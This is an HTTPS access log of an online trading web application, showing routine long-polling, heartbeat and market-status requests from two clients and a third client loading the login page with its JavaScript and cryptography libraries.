[09/Jan/2026:08:44:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919742600 HTTP/1.1" -
[09/Jan/2026:08:44:34 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919743302 HTTP/1.1" -
[09/Jan/2026:08:44:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919747663 HTTP/1.1" -
[09/Jan/2026:08:44:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919749307 HTTP/1.1" -
[09/Jan/2026:08:44:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919752805 HTTP/1.1" -
[09/Jan/2026:08:44:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919757951 HTTP/1.1" -
[09/Jan/2026:08:44:46 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919755314 HTTP/1.1" -
[09/Jan/2026:08:44:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919763229 HTTP/1.1" -
[09/Jan/2026:08:44:52 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919761299 HTTP/1.1" -
[09/Jan/2026:08:44:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919768352 HTTP/1.1" -
[09/Jan/2026:08:44:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:44:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:44:58 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919767314 HTTP/1.1" -
[09/Jan/2026:08:44:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:44:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:45:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919773503 HTTP/1.1" -
[09/Jan/2026:08:45:04 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919773304 HTTP/1.1" -
[09/Jan/2026:08:45:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919778556 HTTP/1.1" -
[09/Jan/2026:08:45:10 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919779310 HTTP/1.1" -
[09/Jan/2026:08:45:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919783675 HTTP/1.1" -
[09/Jan/2026:08:45:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:45:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:45:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:45:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:45:16 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919785303 HTTP/1.1" -
[09/Jan/2026:08:45:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919788840 HTTP/1.1" -
[09/Jan/2026:08:45:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919793991 HTTP/1.1" -
[09/Jan/2026:08:45:22 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919791304 HTTP/1.1" -
[09/Jan/2026:08:45:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919799111 HTTP/1.1" -
[09/Jan/2026:08:45:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:45:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:45:28 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919797304 HTTP/1.1" -
[09/Jan/2026:08:45:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:45:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:45:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919804245 HTTP/1.1" -
[09/Jan/2026:08:45:34 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919803302 HTTP/1.1" -
[09/Jan/2026:08:45:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919809300 HTTP/1.1" -
[09/Jan/2026:08:45:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919809302 HTTP/1.1" -
[09/Jan/2026:08:45:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919814433 HTTP/1.1" -
[09/Jan/2026:08:45:46 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919815314 HTTP/1.1" -
[09/Jan/2026:08:45:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919819566 HTTP/1.1" -
[09/Jan/2026:08:45:52 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919821300 HTTP/1.1" -
[09/Jan/2026:08:45:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919824686 HTTP/1.1" -
[09/Jan/2026:08:45:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919829805 HTTP/1.1" -
[09/Jan/2026:08:45:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:45:58 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919827303 HTTP/1.1" -
[09/Jan/2026:08:45:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:45:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:45:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:46:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919834957 HTTP/1.1" -
[09/Jan/2026:08:46:04 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919833310 HTTP/1.1" -
[09/Jan/2026:08:46:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919840026 HTTP/1.1" -
[09/Jan/2026:08:46:10 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919839313 HTTP/1.1" -
[09/Jan/2026:08:46:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:46:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:46:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:46:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:46:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919845162 HTTP/1.1" -
[09/Jan/2026:08:46:16 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919845315 HTTP/1.1" -
[09/Jan/2026:08:46:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919850295 HTTP/1.1" -
[09/Jan/2026:08:46:22 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919851301 HTTP/1.1" -
[09/Jan/2026:08:46:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919855431 HTTP/1.1" -
[09/Jan/2026:08:46:28 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919857303 HTTP/1.1" -
[09/Jan/2026:08:46:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:46:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:46:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:46:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:46:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919860571 HTTP/1.1" -
[09/Jan/2026:08:46:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919865612 HTTP/1.1" -
[09/Jan/2026:08:46:34 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919863313 HTTP/1.1" -
[09/Jan/2026:08:46:35 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/login.html HTTP/1.1" 1752
[09/Jan/2026:08:46:35 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/style_common.css?v=20200819161913 HTTP/1.1" 2540
[09/Jan/2026:08:46:35 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/style.css?v=20200819161913 HTTP/1.1" 1435
[09/Jan/2026:08:46:35 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:08:46:35 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:08:46:35 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:08:46:35 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:08:46:35 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:08:46:35 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:08:46:35 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:08:46:35 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-personalized-1.6rc2.min.js HTTP/1.1" 55543
[09/Jan/2026:08:46:35 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:08:46:35 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/user/translation.js?jsv=20200819161913 HTTP/1.1" 12866
[09/Jan/2026:08:46:35 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161913 HTTP/1.1" 400
[09/Jan/2026:08:46:35 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161913 HTTP/1.1" 3881
[09/Jan/2026:08:46:35 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161913 HTTP/1.1" 6636
[09/Jan/2026:08:46:36 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161913 HTTP/1.1" 1017
[09/Jan/2026:08:46:36 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161913 HTTP/1.1" 886
[09/Jan/2026:08:46:36 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161913 HTTP/1.1" 1684
[09/Jan/2026:08:46:36 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/version.js?jsv=20200819161913 HTTP/1.1" 85
[09/Jan/2026:08:46:36 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/user/custom_variables.js?jsv=20200819161913 HTTP/1.1" 275
[09/Jan/2026:08:46:36 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161913 HTTP/1.1" 272
[09/Jan/2026:08:46:36 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161913 HTTP/1.1" 982
[09/Jan/2026:08:46:36 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161913 HTTP/1.1" 1206
[09/Jan/2026:08:46:36 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161913 HTTP/1.1" 2043
[09/Jan/2026:08:46:36 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161913 HTTP/1.1" 2106
[09/Jan/2026:08:46:36 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161913 HTTP/1.1" 3099
[09/Jan/2026:08:46:36 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161913 HTTP/1.1" 1730
[09/Jan/2026:08:46:36 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161913 HTTP/1.1" 1362
[09/Jan/2026:08:46:36 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161913 HTTP/1.1" 303
[09/Jan/2026:08:46:36 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161913 HTTP/1.1" 6736
[09/Jan/2026:08:46:36 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161913 HTTP/1.1" 481
[09/Jan/2026:08:46:36 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161913 HTTP/1.1" 1658
